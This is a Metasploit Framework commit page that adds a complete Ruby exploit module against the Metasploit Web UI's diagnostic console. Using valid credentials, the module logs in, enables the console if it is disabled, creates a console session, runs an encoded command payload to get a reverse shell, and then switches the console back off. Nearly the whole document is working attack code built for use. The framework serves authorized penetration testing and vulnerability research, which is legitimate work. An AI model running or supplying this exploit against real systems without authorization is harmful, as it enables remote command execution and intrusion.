Skip to content

Commit 9f3c8c7

Browse files
author
Brent Cook
committed
Land rapid7#7268, add metasploit_webui_console_command_execution post-auth exploit
2 parents 52d0840 + 116c754 commit 9f3c8c7

File tree

1 file changed

+285
-0
lines changed

1 file changed

+285
-0
lines changed
Lines changed: 285 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,285 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Metasploit Web UI Diagnostic Console Command Execution',
16+
'Description' => %q{
17+
This module exploits the "diagnostic console" feature in the Metasploit
18+
Web UI to obtain a reverse shell.
19+
20+
The diagnostic console is able to be enabled or disabled by an
21+
administrator on Metasploit Pro and by an authenticated user on
22+
Metasploit Express and Metasploit Community. When enabled, the
23+
diagnostic console provides access to msfconsole via the web interface.
24+
An authenticated user can then use the console to execute shell
25+
commands.
26+
27+
NOTE: Valid credentials are required for this module.
28+
29+
Tested against:
30+
31+
Metasploit Community 4.1.0,
32+
Metasploit Community 4.8.2,
33+
Metasploit Community 4.12.0
34+
},
35+
'Author' => [ 'Justin Steven' ], # @justinsteven
36+
'License' => MSF_LICENSE,
37+
'Privileged' => true,
38+
'Arch' => ARCH_CMD,
39+
'Payload' => { 'PayloadType' => 'cmd' },
40+
'Targets' =>
41+
[
42+
[ 'Unix',
43+
{
44+
'Platform' => [ 'unix' ]
45+
}
46+
],
47+
[ 'Windows',
48+
{
49+
'Platform' => [ 'windows' ]
50+
}
51+
]
52+
],
53+
'DefaultTarget' => 0,
54+
'DisclosureDate' => 'Aug 23 2016'
55+
))
56+
57+
register_options(
58+
[
59+
OptBool.new('SSL', [ true, 'Use SSL', true ]),
60+
OptPort.new('RPORT', [ true, '', 3790 ]),
61+
OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]),
62+
OptString.new('USERNAME', [ true, 'The user to authenticate as' ]),
63+
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
64+
], self.class)
65+
end
66+
67+
def do_login()
68+
69+
print_status('Obtaining cookies and authenticity_token')
70+
71+
res = send_request_cgi({
72+
'method' => 'GET',
73+
'uri' => normalize_uri(target_uri.path, 'login'),
74+
})
75+
76+
unless res
77+
fail_with(Failure::NotFound, 'Failed to retrieve login page')
78+
end
79+
80+
unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/
81+
fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
82+
end
83+
84+
authenticity_token = $1
85+
session = res.get_cookies
86+
87+
print_status('Logging in')
88+
89+
res = send_request_cgi({
90+
'method' => 'POST',
91+
'uri' => normalize_uri(target_uri.path, 'user_sessions'),
92+
'cookie' => session,
93+
'vars_post' =>
94+
{
95+
'utf8' => '\xE2\x9C\x93',
96+
'authenticity_token' => authenticity_token,
97+
'user_session[username]' => datastore['USERNAME'],
98+
'user_session[password]' => datastore['PASSWORD'],
99+
'commit' => 'Sign in'
100+
}
101+
})
102+
103+
unless res
104+
fail_with(Failure::NotFound, 'Failed to log in')
105+
end
106+
107+
return res.get_cookies, authenticity_token
108+
109+
end
110+
111+
def get_console_status(session)
112+
113+
print_status('Getting diagnostic console status and profile_id')
114+
115+
res = send_request_cgi({
116+
'method' => 'GET',
117+
'uri' => normalize_uri(target_uri.path, 'settings'),
118+
'cookie' => session,
119+
})
120+
121+
unless res
122+
fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
123+
end
124+
125+
unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/
126+
fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
127+
end
128+
129+
profile_id = $1
130+
131+
if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/
132+
console_status = true
133+
elsif res.body =~ /<input\W+.*\bid="allow_console_access"/
134+
console_status = false
135+
else
136+
fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status')
137+
end
138+
139+
print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}")
140+
141+
return console_status, profile_id
142+
143+
end
144+
145+
def set_console_status(session, authenticity_token, profile_id, new_console_status)
146+
print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console")
147+
148+
res = send_request_cgi({
149+
'method' => 'POST',
150+
'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'),
151+
'cookie' => session,
152+
'vars_post' =>
153+
{
154+
'utf8' => '\xE2\x9C\x93',
155+
'_method' => 'patch',
156+
'authenticity_token' => authenticity_token,
157+
'profile_id' => profile_id,
158+
'allow_console_access' => new_console_status,
159+
'commit' => 'Update Settings'
160+
}
161+
})
162+
163+
unless res
164+
fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
165+
end
166+
167+
end
168+
169+
def get_container_id(session, container_label)
170+
171+
container_label_singular = container_label.gsub(/s$/, "")
172+
173+
print_status("Getting ID of a valid #{container_label_singular}")
174+
175+
res = send_request_cgi({
176+
'method' => 'GET',
177+
'uri' => normalize_uri(target_uri.path, container_label),
178+
'cookie' => session,
179+
})
180+
181+
unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/
182+
print_warning("Failed to get a valid #{container_label_singular} ID")
183+
return
184+
end
185+
186+
container_id = $1
187+
188+
vprint_good("Got: #{container_id}")
189+
190+
container_id
191+
192+
end
193+
194+
def get_console(session, container_label, container_id)
195+
196+
print_status('Creating a console, getting its ID and authenticity_token')
197+
198+
res = send_request_cgi({
199+
'method' => 'GET',
200+
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'),
201+
'cookie' => session,
202+
})
203+
204+
unless res && res.headers['location']
205+
fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
206+
end
207+
208+
console_id = res.headers['location'].split('/')[-1]
209+
210+
vprint_good("Got console ID: #{console_id}")
211+
212+
res = send_request_cgi({
213+
'method' => 'GET',
214+
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
215+
'cookie' => session,
216+
})
217+
218+
unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/
219+
fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
220+
end
221+
222+
console_authenticity_token = $1
223+
224+
return console_id, console_authenticity_token
225+
226+
end
227+
228+
def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)
229+
230+
print_status('Running payload')
231+
232+
res = send_request_cgi({
233+
'method' => 'POST',
234+
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
235+
'cookie' => session,
236+
'vars_post' =>
237+
{
238+
'read' => 'yes',
239+
'cmd' => command,
240+
'authenticity_token' => console_authenticity_token,
241+
'last_event' => '0',
242+
'_' => ''
243+
}
244+
})
245+
246+
unless res
247+
fail_with(Failure::NotFound, 'Failed to run command')
248+
end
249+
250+
end
251+
252+
def exploit
253+
254+
session, authenticity_token = do_login()
255+
256+
original_console_status, profile_id = get_console_status(session)
257+
258+
unless original_console_status
259+
set_console_status(session, authenticity_token, profile_id, true)
260+
end
261+
262+
if container_id = get_container_id(session, "workspaces")
263+
# target calls them "workspaces"
264+
container_label = "workspaces"
265+
elsif container_id = get_container_id(session, "projects")
266+
# target calls them "projects"
267+
container_label = "projects"
268+
else
269+
fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
270+
end
271+
272+
console_id, console_authenticity_token = get_console(session, container_label,container_id)
273+
274+
run_command(session, container_label, console_authenticity_token,
275+
container_id, console_id, payload.encoded)
276+
277+
unless original_console_status
278+
set_console_status(session, authenticity_token, profile_id, false)
279+
end
280+
281+
handler
282+
283+
end
284+
285+
end

0 commit comments

Comments
 (0)